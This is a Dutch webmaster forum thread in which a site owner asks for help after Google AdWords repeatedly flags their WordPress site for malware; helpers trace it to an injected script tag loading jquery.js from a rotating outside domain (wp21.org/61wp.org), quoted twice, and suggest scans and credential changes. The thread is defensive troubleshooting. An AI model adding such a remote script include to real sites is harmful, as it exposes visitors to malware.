Beste SD'ers.

Bij deze website in ons beheer, lopen we al een tijdje tegen een probleem aan.

Er wordt geadverteerd met Google Adwords alleen sinds 17 augustus wordt er regelmatig 'Malware gedetecteerd' op een externe site waar wij naar verwijzen.

Op dit moment is het zo erg dat we om de dag worden afgekeurd en om de dag worden goed gekeurd. Dit geheel automatisch, zonder enkele aanpassingen van onze kant. Betekend wel dat we dus maar de helft van de maand kunnen adverteren..

Natuurlijk even gebeld met Google Adwords, maar zij kunnen niet meer vertellen dan:
- Waarschijnlijk komt het door de Jquery (kun je hun niet bellen?)
- Je verwijst naar 21wp.org en daar staat de spam.

Wij komen er hier op dit moment niet uit. Is er hier iemand die de oplossing ziet? (En dan niet meteen een andere theme installeren).

Alvast dank!

PS: Denk je het op te kunnen lossen, maar kost dit wat meer tijd, stuur even een pm om tot een afspraak te komen.

Waarom verwijs je naar die site dan?

Enige wat ik kan achterhalen is dat wp21.org/jquery.js waarschijnlijk wordt ingeladen vanuit een andere js ofzo.
Voorbeeld wat ik vond is dat het in een sbox.js wordt ingeladen.

Aangezien de site wp21 offline is heeft het sowiezo geen zin meer deze te includen.
Wat je zou kunnen doen is je broncode allemaal downloaden en met Search in Notepad ofzo op de strnig wp21.org zoeken.
Dan zie je waar hij wordt ingeladen en voor welke plugin hij werd gebruikt

Is het theme netjes gekocht? (no offense!!)

Ik zou ook eens aan een SSL certificaat gaan denken. Een webshop zonder https/SSL is echt not done.

Hallo,

wp21.org zit verborgen in

Code:

wp-content/plugins/contact-form-7/includes/css/styles.css?ver=4.3.1

Dus plugin contact-form-7 is waarschijnlijk in dit geval de boosdoener.

Je kan je site hier scannen http://isithacked.com/ en kijk bij cloaking onderaan daar zie je wp21 staan.

Succes ermee.

Groeten Ron

Vorige week voor exact hetzelfde probleem met Google gebeld. De ene dag werden de advertenties geblokkeerd, de andere dag werden ze weer goedgekeurd. Na belletje met Google kreeg ik ook te horen dat wp21.org/jquery.js het probleem was. Geen oorzaak kunnen vinden, sinds het belletje is de melding nog niet terug gekomen...

Dank voor alle hulp.

@ Arjen: Dat is het probleem. Die bestanden hebben we al doorgelopen op die manier, maar thanks voor de tip!

@B. van Weerd: Ja volgens mij wel, maar zal ik moeten navragen. SSL certificaat staat al even gepland, maar thanks voor de tip.

@Ronnie: Dit gaan we bij de programmeur neerleggen. Thanks voor de tip. Zie hem inderdaad staan:

<script type="text/javascript" src="http://www.61wp.org/jquery.js"></script><script type='text/javascript' src='http://www.verhuurplezier.nl/wp-content/plugins/contact-form-7/includes/js/jquery.form.min.js?ver=3.51.0-2014.06.20'></script>

@ Vincent: Hebben wij ook al gedaan enkele maanden geleden. Blijkt toch dat het probleem zit niet vanzelf oplost (komt met periodes terug).

Ok, Dus je hebt de source local staan; zoek eens op

Code:

 eval("

, wat krijg je dan ?

Origineel gepost door E van der Wacht

Dank voor alle hulp.

@ Arjen: Dat is het probleem. Die bestanden hebben we al doorgelopen op die manier, maar thanks voor de tip!

@B. van Weerd: Ja volgens mij wel, maar zal ik moeten navragen. SSL certificaat staat al even gepland, maar thanks voor de tip.

@Ronnie: Dit gaan we bij de programmeur neerleggen. Thanks voor de tip. Zie hem inderdaad staan:

<script type="text/javascript" src="http://www.61wp.org/jquery.js"></script><script type='text/javascript' src='http://www.verhuurplezier.nl/wp-content/plugins/contact-form-7/includes/js/jquery.form.min.js?ver=3.51.0-2014.06.20'></script>

@ Vincent: Hebben wij ook al gedaan enkele maanden geleden. Blijkt toch dat het probleem zit niet vanzelf oplost (komt met periodes terug).

simpel op te lossen door dit te doen:

ga naar wp-config.php voeg deze code toe

Code:

define('WPCF7_LOAD_JS', true);

nu word de code alleen geladen vanaf de contact pagina en aangezien je daar toch niet mag op adverteren met adsense de ads daar ook uitzetten.
dan is je probleem verholpen.

daarnaast ben je hoogst waarschijnlijk gehackt. zou alles even nalopen!

zoals je ziet roteren de links, het is nu 61wp.org (ze redirected ook nog eens je traffic zo te zien) of ze stelen je adsense inkomsten kijk meer eens goed in je adsense raport (daar zullen vreemde domeinen vermeld staan)

Succes

Je gebruikt de Revolution Slider. Tenminste, hij staat in de broncode, ik zie geen slider in beeld. Daar is vorig jaar een lek in geweest. Heb je de nieuwste versie draaien? En als je hem niet gebruikt: deactiveren en verwijderen. Scheelt een heleboel nodeloze broncode.

@ Arjen, staat er niet in, is in de server uitgeschakeld.

@ Fred, Dank voor je hulp. Dat hebben we gedaan. Zojuist is wederom de Advertentie afgekeurd. Dus het wp-config.php verhaal gaat helaas niet op.

Waarop baseer je dat we gehackt zouden kunnen zijn? En waar zie je dat de links roteren? De programmeur hier ziet dat nergens gebeuren.

@ B van der Weerd. Deze hebben we niet meer sinds kort en zojuist gedeactiveerd en verwijderd. dank voor de tip!

Origineel gepost door Ronnie de Bruin

Hallo,

wp21.org zit verborgen in

Code:

wp-content/plugins/contact-form-7/includes/css/styles.css?ver=4.3.1

Dus plugin contact-form-7 is waarschijnlijk in dit geval de boosdoener.

Je kan je site hier scannen http://isithacked.com/ en kijk bij cloaking onderaan daar zie je wp21 staan.

Succes ermee.

Groeten Ron

@Ron, ook dit was het probleem niet. Gedeactiveerd, maar de Google bot krijgt nog steeds de 21wp.org toegestuurd, terwijl deze in onze code niet zit.

Iemand hier nog ideeen? Of denkt dat die het op kan lossen? Uiteraard tegen vergoeding.

Geeft google bot ook aan op welke pagina 21wp link staat?

Groeten Ron

Origineel gepost door E van der Wacht

Gedeactiveerd

Dus nog niet verwijderd. Dan kan de ellende nog steeds op je site zitten. Heb je je site nu daadwerkelijk gescand op malware? Met bijvoorbeeld de Sucuri plugin? Verander sowieso je FTP en WP gegevens. Ook van de database. Maar scan eerst je PC (en van iedereen met FTP toegang) op malware en verwijder FileZilla, als je dat gebruikt. FileZilla slaat de FTP gegevens niet voldoende encrypted op. WinSCP doet dat wél.